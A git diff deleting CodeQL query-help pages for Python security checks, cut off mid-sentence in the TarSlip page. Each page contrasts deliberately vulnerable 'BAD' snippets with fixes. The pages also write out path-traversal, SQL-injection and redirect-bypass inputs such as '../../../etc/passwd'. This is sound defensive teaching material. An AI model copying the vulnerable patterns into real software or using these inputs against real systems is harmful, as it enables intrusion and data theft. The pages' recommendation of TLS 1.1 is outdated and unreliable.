b/docs/language/query-help/python/HardcodedCredentials.md deleted file mode 100644 index 728dd363a9c..00000000000 --- a/docs/language/query-help/python/HardcodedCredentials.md +++ /dev/null @@ -1,65 +0,0 @@ -# Hard-coded credentials - -``` -ID: py/hardcoded-credentials -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-259 external/cwe/cwe-321 external/cwe/cwe-798 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-798/HardcodedCredentials.ql) - -Including unencrypted hard-coded inbound or outbound authentication credentials within source code or configuration files is dangerous because the credentials may be easily discovered. - -Source or configuration files containing hard-coded credentials may be visible to an attacker. For example, the source code may be open source, or it may be leaked or accidentally revealed. - -For inbound authentication, hard-coded credentials may allow unauthorized access to the system. This is particularly problematic if the credential is hard-coded in the source code, because it cannot be disabled easily. For outbound authentication, the hard-coded credentials may provide an attacker with privileged information or unauthorized access to some other system. - - -## Recommendation -Remove hard-coded credentials, such as user names, passwords and certificates, from source code, placing them in configuration files or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. - -For outbound authentication details, consider encrypting the credentials or the enclosing data stores or configuration files, and using permissions to restrict access. - -For inbound authentication details, consider hashing passwords using standard library functions where possible. For example, `hashlib.pbkdf2_hmac`. - - -## Example -The following examples shows different types of inbound and outbound authentication. - -In the first case, we accept a password from a remote user, and compare it against a plaintext string literal. If an attacker acquires the source code they can observe the password, and can log in to the system. Furthermore, if such an intrusion was discovered, the application would need to be rewritten and redeployed in order to change the password. - -In the second case, the password is compared to a hashed and salted password stored in a configuration file, using `hashlib.pbkdf2_hmac`. In this case, access to the source code or the assembly would not reveal the password to an attacker. Even access to the configuration file containing the password hash and salt would be of little value to an attacker, as it is usually extremely difficult to reverse engineer the password from the hash and salt. - -In the final case, a password is changed to a new, hard-coded value. If an attacker has access to the source code, they will be able to observe the new password. - - -```python -import hashlib -import binascii - -def process_request(request): - password = request.GET["password"] - - # BAD: Inbound authentication made by comparison to string literal - if password == "myPa55word": - redirect("login") - - hashed_password = load_from_config('hashed_password', CONFIG_FILE) - salt = load_from_config('salt', CONFIG_FILE) - - #GOOD: Inbound authentication made by comparing to a hash password from a config file. - dk = hashlib.pbkdf2_hmac('sha256', password, salt, 100000) - hashed_input = binascii.hexlify(dk) - if hashed_input == hashed_password: - redirect("login") - - -``` - -## References -* OWASP: [XSS Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). -* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html). -* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html). -* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/python/IncompleteHostnameRegExp.md b/docs/language/query-help/python/IncompleteHostnameRegExp.md deleted file mode 100644 index 541b45e5651..00000000000 --- a/docs/language/query-help/python/IncompleteHostnameRegExp.md +++ /dev/null @@ -1,56 +0,0 @@ -# Incomplete regular expression for hostnames - -``` -ID: py/incomplete-hostname-regexp -Kind: problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-020/IncompleteHostnameRegExp.ql) - -Sanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts. - -If a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping the `.` meta-characters appropriately. Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when it accidentally succeeds. - - -## Recommendation -Escape all meta-characters appropriately when constructing regular expressions for security checks, pay special attention to the `.` meta-character. - - -## Example -The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains. - - -```python -from flask import Flask, request, redirect -import re - -app = Flask(__name__) - -UNSAFE_REGEX = re.compile("(www|beta).example.com/") -SAFE_REGEX = re.compile(r"(www|beta)\.example\.com/") - -@app.route('/some/path/bad') -def unsafe(request): - target = request.args.get('target', '') - if UNSAFE_REGEX.match(target): - return redirect(target) - -@app.route('/some/path/good') -def safe(request): - target = request.args.get('target', '') - if SAFE_REGEX.match(target): - return redirect(target) - -``` -The `unsafe` check is easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`. - -The `safe` check closes this vulnerability by escaping the `.` so that URLs of the form `wwwXexample.com` are rejected. - - -## References -* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) -* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/python/IncompleteUrlSubstringSanitization.md b/docs/language/query-help/python/IncompleteUrlSubstringSanitization.md deleted file mode 100644 index bf6ebcfd3bb..00000000000 --- a/docs/language/query-help/python/IncompleteUrlSubstringSanitization.md +++ /dev/null @@ -1,88 +0,0 @@ -# Incomplete URL substring sanitization - -``` -ID: py/incomplete-url-substring-sanitization -Kind: problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-020/IncompleteUrlSubstringSanitization.ql) - -Sanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Usually, this is done by checking that the host of a URL is in a set of allowed hosts. - -However, treating the URL as a string and checking if one of the allowed hosts is a substring of the URL is very prone to errors. Malicious URLs can bypass such security checks by embedding one of the allowed hosts in an unexpected location. - -Even if the substring check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when the check succeeds accidentally. - - -## Recommendation -Parse a URL before performing a check on its host value, and ensure that the check handles arbitrary subdomain sequences correctly. - - -## Example -The following example code checks that a URL redirection will reach the `example.com` domain. - - -```python -from flask import Flask, request, redirect -from urllib.parse import urlparse - -app = Flask(__name__) - -# Not safe, as "evil-example.net/example.com" would be accepted - -@app.route('/some/path/bad1') -def unsafe1(request): - target = request.args.get('target', '') - if "example.com" in target: - return redirect(target) - -# Not safe, as "benign-looking-prefix-example.com" would be accepted - -@app.route('/some/path/bad2') -def unsafe2(request): - target = request.args.get('target', '') - if target.endswith("example.com"): - return redirect(target) - - - -#Simplest and safest approach is to use an allowlist - -@app.route('/some/path/good1') -def safe1(request): - allowlist = [ - "example.com/home", - "example.com/login", - ] - target = request.args.get('target', '') - if target in allowlist: - return redirect(target) - -#More complex example allowing sub-domains. - -@app.route('/some/path/good2') -def safe2(request): - target = request.args.get('target', '') - host = urlparse(target).hostname - #Note the '.' preceding example.com - if host and host.endswith(".example.com"): - return redirect(target) - - -``` -The first two examples show unsafe checks that are easily bypassed. In `unsafe1` the attacker can simply add `example.com` anywhere in the url. For example, `http://evil-example.net/example.com`. - -In `unsafe2` the attacker must use a hostname ending in `example.com`, but that is easy to do. For example, `http://benign-looking-prefix-example.com`. - -The second two examples show safe checks. In `safe1`, an allowlist is used. Although fairly inflexible, this is easy to get right and is most likely to be safe. - -In `safe2`, `urlparse` is used to parse the URL, then the hostname is checked to make sure it ends with `.example.com`. - - -## References -* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) -* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/python/InsecureDefaultProtocol.md b/docs/language/query-help/python/InsecureDefaultProtocol.md deleted file mode 100644 index 721d6175cd0..00000000000 --- a/docs/language/query-help/python/InsecureDefaultProtocol.md +++ /dev/null @@ -1,44 +0,0 @@ -# Default version of SSL/TLS may be insecure - -``` -ID: py/insecure-default-protocol -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-327/InsecureDefaultProtocol.ql) - -The `ssl` library defaults to an insecure version of SSL/TLS when no specific protocol version is specified. This may leave the connection vulnerable to attack. - - -## Recommendation -Ensure that a modern, strong protocol is used. All versions of SSL, and TLS 1.0 are known to be vulnerable to attacks. Using TLS 1.1 or above is strongly recommended. If no explicit `ssl_version` is specified, the default `PROTOCOL_TLS` is chosen. This protocol is insecure and should not be used. - - -## Example -The following code shows two different ways of setting up a connection using SSL or TLS. They are both potentially insecure because the default version is used. - - -```python -import ssl -import socket - -# Using the deprecated ssl.wrap_socket method -ssl.wrap_socket(socket.socket()) - -# Using SSLContext -context = ssl.SSLContext() - -``` -Both of the cases above should be updated to use a secure protocol instead, for instance by specifying `ssl_version=PROTOCOL_TLSv1_1` as a keyword argument. - -Note that `ssl.wrap_socket` has been deprecated in Python 3.7. A preferred alternative is to use `ssl.SSLContext`, which is supported in Python 2.7.9 and 3.2 and later versions. - - -## References -* Wikipedia: [ Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security). -* Python 3 documentation: [ class ssl.SSLContext](https://docs.python.org/3/library/ssl.html#ssl.SSLContext). -* Python 3 documentation: [ ssl.wrap_socket](https://docs.python.org/3/library/ssl.html#ssl.wrap_socket). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/python/InsecureProtocol.md b/docs/language/query-help/python/InsecureProtocol.md deleted file mode 100644 index 2972d701178..00000000000 --- a/docs/language/query-help/python/InsecureProtocol.md +++ /dev/null @@ -1,53 +0,0 @@ -# Use of insecure SSL/TLS version - -``` -ID: py/insecure-protocol -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-327/InsecureProtocol.ql) - -Using a broken or weak cryptographic protocol may make a connection vulnerable to interference from an attacker. - - -## Recommendation -Ensure that a modern, strong protocol is used. All versions of SSL, and TLS 1.0 are known to be vulnerable to attacks. Using TLS 1.1 or above is strongly recommended. - - -## Example -The following code shows a variety of ways of setting up a connection using SSL or TLS. They are all insecure because of the version specified. - - -```python -import ssl -import socket - -# Using the deprecated ssl.wrap_socket method -ssl.wrap_socket(socket.socket(), ssl_version=ssl.PROTOCOL_SSLv2) - -# Using SSLContext -context = ssl.SSLContext(ssl_version=ssl.PROTOCOL_SSLv3) - -# Using pyOpenSSL - -from pyOpenSSL import SSL - -context = SSL.Context(SSL.TLSv1_METHOD) - - - -``` -All cases should be updated to use a secure protocol, such as `PROTOCOL_TLSv1_1`. - -Note that `ssl.wrap_socket` has been deprecated in Python 3.7. A preferred alternative is to use `ssl.SSLContext`, which is supported in Python 2.7.9 and 3.2 and later versions. - - -## References -* Wikipedia: [ Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security). -* Python 3 documentation: [ class ssl.SSLContext](https://docs.python.org/3/library/ssl.html#ssl.SSLContext). -* Python 3 documentation: [ ssl.wrap_socket](https://docs.python.org/3/library/ssl.html#ssl.wrap_socket). -* pyOpenSSL documentation: [ An interface to the SSL-specific parts of OpenSSL](https://pyopenssl.org/en/stable/api/ssl.html). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/python/InsecureTemporaryFile.md b/docs/language/query-help/python/InsecureTemporaryFile.md deleted file mode 100644 index d34f4eac039..00000000000 --- a/docs/language/query-help/python/InsecureTemporaryFile.md +++ /dev/null @@ -1,51 +0,0 @@ -# Insecure temporary file - -``` -ID: py/insecure-temporary-file -Kind: problem -Severity: error -Precision: high -Tags: external/cwe/cwe-377 security - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-377/InsecureTemporaryFile.ql) - -Functions that create temporary file names (such as `tempfile.mktemp` and `os.tempnam`) are fundamentally insecure, as they do not ensure exclusive access to a file with the temporary name they return. The file name returned by these functions is guaranteed to be unique on creation but the file must be opened in a separate operation. There is no guarantee that the creation and open operations will happen atomically. This provides an opportunity for an attacker to interfere with the file before it is opened. - -Note that `mktemp` has been deprecated since Python 2.3. - - -## Recommendation -Replace the use of `mktemp` with some of the more secure functions in the `tempfile` module, such as `TemporaryFile`. If the file is intended to be accessed from other processes, consider using the `NamedTemporaryFile` function. - - -## Example -The following piece of code opens a temporary file and writes a set of results to it. Because the file name is created using `mktemp`, another process may access this file before it is opened using `open`. - - -```python -from tempfile import mktemp - -def write_results(results): - filename = mktemp() - with open(filename, "w+") as f: - f.write(results) - print("Results written to", filename) - -``` -By changing the code to use `NamedTemporaryFile` instead, the file is opened immediately. - - -```python -from tempfile import NamedTemporaryFile - -def write_results(results): - with NamedTemporaryFile(mode="w+", delete=False) as f: - f.write(results) - print("Results written to", f.name) - -``` - -## References -* Python Standard Library: [tempfile.mktemp](https://docs.python.org/3/library/tempfile.html#tempfile.mktemp). -* Common Weakness Enumeration: [CWE-377](https://cwe.mitre.org/data/definitions/377.html). \ No newline at end of file diff --git a/docs/language/query-help/python/Jinja2WithoutEscaping.md b/docs/language/query-help/python/Jinja2WithoutEscaping.md deleted file mode 100644 index 679af831f05..00000000000 --- a/docs/language/query-help/python/Jinja2WithoutEscaping.md +++ /dev/null @@ -1,59 +0,0 @@ -# Jinja2 templating with autoescape=False - -``` -ID: py/jinja2/autoescape-false -Kind: problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-079 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-079/Jinja2WithoutEscaping.ql) - -Cross-site scripting (XSS) attacks can occur if untrusted input is not escaped. This applies to templates as well as code. The `jinja2` templates may be vulnerable to XSS if the environment has `autoescape` set to `False`. Unfortunately, `jinja2` sets `autoescape` to `False` by default. Explicitly setting `autoescape` to `True` when creating an `Environment` object will prevent this. - - -## Recommendation -Avoid setting jinja2 autoescape to False. Jinja2 provides the function `select_autoescape` to make sure that the correct auto-escaping is chosen. For example, it can be used when creating an environment `Environment(autoescape=select_autoescape(['html', 'xml'])` - - -## Example -The following example is a minimal Flask app which shows a safe and an unsafe way to render the given name back to the page. The first view is unsafe as `first_name` is not escaped, leaving the page vulnerable to cross-site scripting attacks. The second view is safe as `first_name` is escaped, so it is not vulnerable to cross-site scripting attacks. - - -```python -from flask import Flask, request, make_response, escape -from jinja2 import Environment, select_autoescape, FileSystemLoader - -app = Flask(__name__) -loader = FileSystemLoader( searchpath="templates/" ) - -unsafe_env = Environment(loader=loader) -safe1_env = Environment(loader=loader, autoescape=True) -safe2_env = Environment(loader=loader, autoescape=select_autoescape()) - -def render_response_from_env(env): - name = request.args.get('name', '') - template = env.get_template('template.html') - return make_response(template.render(name=name)) - -@app.route('/unsafe') -def unsafe(): - return render_response_from_env(unsafe_env) - -@app.route('/safe1') -def safe1(): - return render_response_from_env(safe1_env) - -@app.route('/safe2') -def safe2(): - return render_response_from_env(safe2_env) - - -``` - -## References -* Jinja2: [API](http://jinja.pocoo.org/docs/2.10/api/). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). \ No newline at end of file diff --git a/docs/language/query-help/python/MissingHostKeyValidation.md b/docs/language/query-help/python/MissingHostKeyValidation.md deleted file mode 100644 index 5e7e9cd2d4c..00000000000 --- a/docs/language/query-help/python/MissingHostKeyValidation.md +++ /dev/null @@ -1,49 +0,0 @@ -# Accepting unknown SSH host keys when using Paramiko - -``` -ID: py/paramiko-missing-host-key-validation -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-295 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-295/MissingHostKeyValidation.ql) - -In the Secure Shell (SSH) protocol, host keys are used to verify the identity of remote hosts. Accepting unknown host keys may leave the connection open to man-in-the-middle attacks. - - -## Recommendation -Do not accept unknown host keys. In particular, do not set the default missing host key policy for the Paramiko library to either `AutoAddPolicy` or `WarningPolicy`. Both of these policies continue even when the host key is unknown. The default setting of `RejectPolicy` is secure because it throws an exception when it encounters an unknown host key. - - -## Example -The following example shows two ways of opening an SSH connection to `example.com`. The first function sets the missing host key policy to `AutoAddPolicy`. If the host key verification fails, the client will continue to interact with the server, even though the connection may be compromised. The second function sets the host key policy to `RejectPolicy`, and will throw an exception if the host key verification fails. - - -```python -from paramiko.client import SSHClient, AutoAddPolicy, RejectPolicy - -def unsafe_connect(): - client = SSHClient() - client.set_missing_host_key_policy(AutoAddPolicy) - client.connect("example.com") - - # ... interaction with server - - client.close() - -def safe_connect(): - client = SSHClient() - client.set_missing_host_key_policy(RejectPolicy) - client.connect("example.com") - - # ... interaction with server - - client.close() - -``` - -## References -* Paramiko documentation: [set_missing_host_key_policy](http://docs.paramiko.org/en/2.4/api/client.html?highlight=set_missing_host_key_policy#paramiko.client.SSHClient.set_missing_host_key_policy). -* Common Weakness Enumeration: [CWE-295](https://cwe.mitre.org/data/definitions/295.html). \ No newline at end of file diff --git a/docs/language/query-help/python/PathInjection.md b/docs/language/query-help/python/PathInjection.md deleted file mode 100644 index 779888e6796..00000000000 --- a/docs/language/query-help/python/PathInjection.md +++ /dev/null @@ -1,81 +0,0 @@ -# Uncontrolled data used in path expression - -``` -ID: py/path-injection -Kind: path-problem -Severity: error -Precision: high -Tags: correctness security external/owasp/owasp-a1 external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 external/cwe/cwe-099 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-022/PathInjection.ql) - -Accessing files using paths constructed from user-controlled data can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - - -## Recommendation -Validate user input before using it to construct a file path, either using an off-the-shelf library function like `werkzeug.utils.secure_filename`, or by performing custom validation. - -Ideally, follow these rules: - -* Do not allow more than a single "." character. -* Do not allow directory separators such as "/" or "\" (depending on the file system). -* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//", the resulting string would still be "../". -* Use an allowlist of known good patterns. - -## Example -In the first example, a file name is read from an HTTP request and then used to access a file. However, a malicious user could enter a file name that is an absolute path, such as `"/etc/passwd"`. - -In the second example, it appears that the user is restricted to opening a file within the `"user"` home directory. However, a malicious user could enter a file name containing special characters. For example, the string `"../../../etc/passwd"` will result in the code reading the file located at `"/server/static/images/../../../etc/passwd"`, which is the system's password file. This file would then be sent back to the user, giving them access to all the system's passwords. - -In the third example, the path used to access the file system is normalized *before* being checked against a known prefix. This ensures that regardless of the user input, the resulting path is safe. - - -```python -import os.path - - -urlpatterns = [ - # Route to user_picture - url(r'^user-pic1$', user_picture1, name='user-picture1'), - url(r'^user-pic2$', user_picture2, name='user-picture2'), - url(r'^user-pic3$', user_picture3, name='user-picture3') -] - - -def user_picture1(request): - """A view that is vulnerable to malicious file access.""" - filename = request.GET.get('p') - # BAD: This could read any file on the file system - data = open(filename, 'rb').read() - return HttpResponse(data) - -def user_picture2(request): - """A view that is vulnerable to malicious file access.""" - base_path = '/server/static/images' - filename = request.GET.get('p') - # BAD: This could still read any file on the file system - data = open(os.path.join(base_path, filename), 'rb').read() - return HttpResponse(data) - -def user_picture3(request): - """A view that is not vulnerable to malicious file access.""" - base_path = '/server/static/images' - filename = request.GET.get('p') - #GOOD -- Verify with normalised version of path - fullpath = os.path.normpath(os.path.join(base_path, filename)) - if not fullpath.startswith(base_path): - raise SecurityException() - data = open(fullpath, 'rb').read() - return HttpResponse(data) - -``` - -## References -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* npm: [werkzeug.utils.secure_filename](http://werkzeug.pocoo.org/docs/utils/#werkzeug.utils.secure_filename). -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). -* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). -* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). -* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). -* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html). \ No newline at end of file diff --git a/docs/language/query-help/python/ReflectedXss.md b/docs/language/query-help/python/ReflectedXss.md deleted file mode 100644 index e93e6cc8f9c..00000000000 --- a/docs/language/query-help/python/ReflectedXss.md +++ /dev/null @@ -1,46 +0,0 @@ -# Reflected server-side cross-site scripting - -``` -ID: py/reflective-xss -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-079/ReflectedXss.ql) - -Directly writing user input (for example, an HTTP request parameter) to a webpage without properly sanitizing the input first, allows for a cross-site scripting vulnerability. - - -## Recommendation -To guard against cross-site scripting, consider escaping the input before writing user input to the page. The standard library provides escaping functions: `html.escape()` for Python 3.2 upwards or `cgi.escape()` older versions of Python. Most frameworks also provide their own escaping functions, for example `flask.escape()`. - - -## Example -The following example is a minimal flask app which shows a safe and unsafe way to render the given name back to the page. The first view is unsafe as `first_name` is not escaped, leaving the page vulnerable to cross-site scripting attacks. The second view is safe as `first_name` is escaped, so it is not vulnerable to cross-site scripting attacks. - - -```python -from flask import Flask, request, make_response, escape - -app = Flask(__name__) - -@app.route('/unsafe') -def unsafe(): - first_name = request.args.get('name', '') - return make_response("Your name is " + first_name) - -@app.route('/safe') -def safe(): - first_name = request.args.get('name', '') - return make_response("Your name is " + escape(first_name)) - -``` - -## References -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Python Library Reference: [html.escape()](https://docs.python.org/3/library/html.html#html.escape). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/python/RequestWithoutValidation.md b/docs/language/query-help/python/RequestWithoutValidation.md deleted file mode 100644 index b43b8c1d784..00000000000 --- a/docs/language/query-help/python/RequestWithoutValidation.md +++ /dev/null @@ -1,49 +0,0 @@ -# Request without certificate validation - -``` -ID: py/request-without-cert-validation -Kind: problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-295 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-295/RequestWithoutValidation.ql) - -Encryption is key to the security of most, if not all, online communication. Using Transport Layer Security (TLS) can ensure that communication cannot be interrupted by an interloper. For this reason, is is unwise to disable the verification that TLS provides. Functions in the `requests` module provide verification by default, and it is only when explicitly turned off using `verify=False` that no verification occurs. - - -## Recommendation -Never use `verify=False` when making a request. - - -## Example -The example shows two unsafe calls to [semmle.com](https://semmle.com), followed by various safe alternatives. - - -```python -import requests - -#Unsafe requests - -requests.get('https://semmle.com', verify=False) # UNSAFE -requests.get('https://semmle.com', verify=0) # UNSAFE - -#Various safe options - -requests.get('https://semmle.com', verify=True) # Explicitly safe -requests.get('https://semmle.com', verify="/path/to/cert/") -requests.get('https://semmle.com') # The default is to verify. - -#Wrapper to ensure safety - -def make_safe_request(url, verify_cert): - if not verify_cert: - raise Exception("Trying to make unsafe request") - return requests.get(url, verify_cert) - -``` - -## References -* Python requests documentation: [SSL Cert Verification](http://docs.python-requests.org/en/master/user/advanced/#ssl-cert-verification). -* Common Weakness Enumeration: [CWE-295](https://cwe.mitre.org/data/definitions/295.html). \ No newline at end of file diff --git a/docs/language/query-help/python/SqlInjection.md b/docs/language/query-help/python/SqlInjection.md deleted file mode 100644 index f51e97e3f5a..00000000000 --- a/docs/language/query-help/python/SqlInjection.md +++ /dev/null @@ -1,56 +0,0 @@ -# SQL query built from user-controlled sources - -``` -ID: py/sql-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-089 external/owasp/owasp-a1 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-089/SqlInjection.ql) - -If a database query (such as a SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a user may be able to run malicious database queries. - - -## Recommendation -Most database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements. - - -## Example -In the following snippet, a user is fetched from the database using three different queries. - -In the first case, the query string is built by directly using string formatting from a user-supplied request parameter. The parameter may include quote characters, so this code is vulnerable to a SQL injection attack. - -In the second case, the user-supplied request attribute is passed to the database using query parameters. The database connector library will take care of escaping and inserting quotes as needed. - -In the third case, the placeholder in the SQL string has been manually quoted. Since most databaseconnector libraries will insert their own quotes, doing so yourself will make the code vulnerable to SQL injection attacks. In this example, if `username` was `; DROP ALL TABLES -- `, the final SQL query would be `SELECT * FROM users WHERE username = ''; DROP ALL TABLES -- ''` - - -```python -from django.conf.urls import url -from django.db import connection - - -def show_user(request, username): - with connection.cursor() as cursor: - # BAD -- Using string formatting - cursor.execute("SELECT * FROM users WHERE username = '%s'" % username) - user = cursor.fetchone() - - # GOOD -- Using parameters - cursor.execute("SELECT * FROM users WHERE username = %s", username) - user = cursor.fetchone() - - # BAD -- Manually quoting placeholder (%s) - cursor.execute("SELECT * FROM users WHERE username = '%s'", username) - user = cursor.fetchone() - -urlpatterns = [url(r'^users/(?P[^/]+)$', show_user)] - -``` - -## References -* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection). -* OWASP: [SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/python/StackTraceExposure.md b/docs/language/query-help/python/StackTraceExposure.md deleted file mode 100644 index 870358de269..00000000000 --- a/docs/language/query-help/python/StackTraceExposure.md +++ /dev/null @@ -1,58 +0,0 @@ -# Information exposure through an exception - -``` -ID: py/stack-trace-exposure -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-209 external/cwe/cwe-497 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-209/StackTraceExposure.ql) - -Software developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred. - -Unfortunately, the same information can be useful to an attacker. The sequence of class names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack. - - -## Recommendation -Send the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server. - - -## Example -In the following example, an exception is handled in two different ways. In the first version, labeled BAD, the exception is sent back to the remote user by returning it from the function. As such, the user is able to see a detailed stack trace, which may contain sensitive information. In the second version, the error message is logged only on the server, and a generic error message is displayed to the user. That way, the developers can still access and use the error log, but remote users will not see the information. - - -```python -from flask import Flask -app = Flask(__name__) - - -import traceback - -def do_computation(): - raise Exception("Secret info") - -# BAD -@app.route('/bad') -def server_bad(): - try: - do_computation() - except Exception as e: - return traceback.format_exc() - -# GOOD -@app.route('/good') -def server_good(): - try: - do_computation() - except Exception as e: - log(traceback.format_exc()) - return "An internal error has occurred!" - -``` - -## References -* OWASP: [Information Leak](https://www.owasp.org/index.php/Information_Leak_(information_disclosure)). -* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html). -* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html). \ No newline at end of file diff --git a/docs/language/query-help/python/TarSlip.md b/docs/language/query-help/python/TarSlip.md deleted file mode 100644 index 49302e266e7..00000000000 --- a/docs/language/query-help/python/TarSlip.md +++ /dev/null @@ -1,62 +0,0 @@ -# Arbitrary file write during tarfile extraction - -``` -ID: py/tarslip -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-022 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-022/TarSlip.ql) - -Extracting files from a malicious tar archive without validating that the destination file path is within the destination directory can cause files outside the destination directory to be overwritten, due to the possible presence of directory traversal elements (`..`) in archive paths. - -Tar archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to determine an output file to write the contents of the archive item to, then the file may be written to an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - -For example, if a tar archive contains a file entry `..\sneaky-file`, and the tar archive is extracted to the directory `c:\output`, then naively combining the paths would result in an output file path of `c:\output\..\sneaky-file`, which would cause the file to be written to `c:\sneaky-file`. - - -## Recommendation -Ensure that output paths constructed from tar archive entries are validated to prevent writing files to unexpected locations. - -The recommended way of writing an output file from a tar archive entry is to check that `".."` does not 